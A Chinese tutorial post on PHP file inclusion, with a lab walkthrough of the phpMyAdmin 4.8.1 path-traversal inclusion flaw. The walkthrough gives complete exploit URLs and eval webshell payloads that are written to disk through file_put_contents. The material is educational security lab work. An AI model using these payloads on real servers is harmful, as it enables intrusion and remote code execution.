为了防止代码重复,我们就有了,文件包含。很多网页如果要用到很多同样的函数,那么我们就可以使用这个文件包含函数,就避免了每个网页又去重复造轮子。




在index.php文件里包含1.txt,而1.txt的内容是phpinfo(),include函数包含1.txt,就会把1.txt的内容当成php文件执行,不管后缀是什么。1.txt也好,1.xml也好,只要里面是php代码,然后有被include函数包含,那么就被当成PHP文件执行。

如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,然是不影响其他功能的执行,比如这里的nf和123的输出。那么就表明include函数,如果出现错误的话,并不会影响其他功能的运行。

如果包含的文件不存在,就会出现致命的错误,并报出绝对路径,影响后面功能的执行,比如这里的nf的输出,后面的功能因为2.txt报错,导致123未执行。那么就表明require函数,如果出现错误的话,会影响后面功能的运行。

只要文件内是php代码,文件包含是不在意文件后缀的。

12345.jpg的传参值是a,那么我们可以写传参值=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)
然后生成一个新的php文件


访问index.php

以上我们接触的全部是本地文件包含

说了本地文件包含,我们再来看远程文件包含

简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启)
来我们可以来实验一下,把这个配置打开。
“其他选项菜单”——“打开配置文件”——“php-ini”

打开配置文件,搜索allow_url_include 把Off改为On,注:第一个字母要为大写

之后要重启才能生效。

配置开启后,我们来远程文件包含一下,我们来远程包含一下kali上的1.txt,可以看到没有本地包含,所以直接显示的内容。



那我们现在来远程包含一下kali的这个1.txt,看会不会有phpinfo,注意我这里是index文件哦,所以是默认的。

可以看到,包含成功!


这里可以插一句题外话,如果是window服务器的话,可以让本地文件包含变成远程文件包含。需要开始XX配置,SMB服务。



这里我们可以发现,进入一个不存在的目录,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。

但是php是非常严格的,进入一个不存在的目录,这里目录的名字里不能有?*号,否则报错,然后再返回上一级,相当于没变目录位置,这个是不影响的,而且这个不存在的目录随便怎么写都可以。

实战

注意,这里php版本过低,会安装不上


安装好后,我们来解析下源码

1.txt内容phpinfo()

来本地文件包含一下,发现成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt

靶场 http://59.63.200.79:8010/lfi/phpmyadmin/

先创建一个库名:nf

接着创建表:ff,字段数选2个就行了

然后选中我们之前创建好的库名和表名,开始写入数据,第一个就写个一句话木马,第二个随便填充。

然后我们找到存放表的路径。


这里我们要传参2个,那么就加上&这里我们找到之后传参phpinfo

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo();

因为a在ff.frm里

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号

文件包含成功

用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’);

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号


写入成功后,我们连接这个8.php的木马。

http://59.63.200.79:8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php

在线测试时这样,但是我在本地测试的时候,还是有点不一样的。我就直接上不一样的地方,前面的地方都是一样的

1,创建一个库为yingqian1984,
2,创建一个表为yq1984
3,填充表数据,因为跟上面一样,2个字段一个木马,一个随便数据
4,找数据表的位置,最后我发现我的MySQL存放数据库的地方是在
C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984

文件包含成功。

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo();

用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’);

<?php eval($_REQUEST[a])?>注意,这里面没有分号和单引号

传参成功

http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo();

本地文件包含和远程文件包含(超详细,小白也彳亍!)相关推荐

  1. 本地pycharm连接到远程服务器(超级详细)

    本地pycharm连接到远程服务器(超级详细) 文章之前,你需要做的是 1.服务器需要创建好虚拟环境 2.你的本地安装好pycharm 目的是 同步服务器上的文件 在本地进行debug,并将修改后的文 ...

  2. 本地文件包含与远程文件包含漏洞

    总结一下 1.文件包含漏洞分两种:LFI(local file include)本地文件包含 和 RFI(remote file include)远程文件包含 2.文件包含常用到的函数:include ...

  3. php 远程下载大文件,php下载远程文件(支持断点续传,支持超大文件)

    断点下载的原理:http请求头添加Range参数告诉文件服务器端需要的字节范围 例如1个文本文件的字节为1000, 第一次请求Range: bytes=0-500 第二次请求Range: bytes= ...

  4. c 怎么跨服务器取文件,c语言远程文件获取服务器

    c语言远程文件获取服务器 内容精选 换一换 用户可根据产品型号获取所需软件包以及数字签名文件.{version}表示软件版本号,{arch}表示CPU架构,{os}表示操作系统版本.{version} ...

  5. PHP从远程mysql下载文件_PHP下载远程文件到指定目录

    PHP用curl可以轻松实现下载远程文件到指定目录: class Download { public static function get($url, $file) { return file_pu ...

  6. php curl 采集文件,curl获取远程文件内容

    /** 获取远程文件内容 @param $url 文件http地址 */ function fopen_url($url) { if (function_exists('file_get_conten ...

  7. php远程读取几行文件,PHP读取远程文件的三种方法

    PHP读取远程文件的三种方法 (2008-08-01 14:29:55) 标签: php 下载远程文件 it HP读取远程文件的几种方法,做采集的第一步就是读取远程文件- 1.file_get_con ...

  8. Linux学习——Linux常用文件和目录管理命令(超详细)

    Linux常用文件和目录管理命令 JunLeon--go big or go home 前言: Linux系统文件和目录管理是必须学会的命令,在Linux系统目录中/tmp目录是用来存放临时文件的目录 ...

  9. c语言ofstream头文件,c++中ifstream及ofstream超详细说明

    前文说过,ifstream是继承于istream,ofstream是继承于ostream,fstream是继承于iostream类,而他们使用的缓冲区类是filebuf. 关于这些类之间的关系,有兴趣 ...

最新文章

  1. 使用docker搭建一个elasticsearch(5.4)的基础环境
  2. Workflow 4.0 中三种方式实现workflow的触发调用
  3. 今天悄悄的给你说几个HashCode的破事。
  4. Javascript模板引擎handlebars使用实例及技巧
  5. CPU和微架构的概念
  6. Cpp 对象模型探索 / 不能被继承的类
  7. 鸿蒙os 2.0跑分,预装鸿蒙OS 2.0!华为MatePad Pro2跑分曝光:麒麟9000、8GB内存
  8. linux命令 scp
  9. Win10配置VSCode+Opencv3(C++) GCC环境
  10. ElasticSearch实践(三)Rest API简介
  11. C语言之文件读写探究(四):fwrite、fread(一次读写一块数据(二进制操作))
  12. NEC红外协议编码,38K红外遥控编码,红外遥控发射接收电路选型设计
  13. Spring强制使用CGLIB代理事务
  14. 【bug】掘金md文本解析器bug
  15. Java 各种单例模式实现代码
  16. 软件著作权-说明书范本
  17. 锁定计算机怎么设密码忘记了怎么办,如何设置笔记本电脑指纹密码忘了怎么办...
  18. 集线器,交换机,路由器工作层次的区别
  19. steam的游戏服务器在哪个文件夹,使用SteamCMD在Windows上架设Don't Starve Together服务器...
  20. 安装程序无法打开注册表项 UNKNOWN\Components\…的简单解决办法

热门文章

  1. 使用 Rancher 进行首次金丝雀部署
  2. android studio如何创建工程,Android Studio创建Android 项目教程
  3. OpenCV C++使用高通滤波和阈值法增强指纹图像
  4. 老年大学计算机培训教材,老年大学摄影教材.pdf
  5. 【AcWing】蓝桥杯C++ AB组辅导课
  6. nvidia:未找到命令,一个笨笨的错误
  7. qt学习之sender
  8. Codesys冗余配置(基础)
  9. PyCharm 使用完全指南
  10. msp430g2553+pcf8574+dht11+lcd1602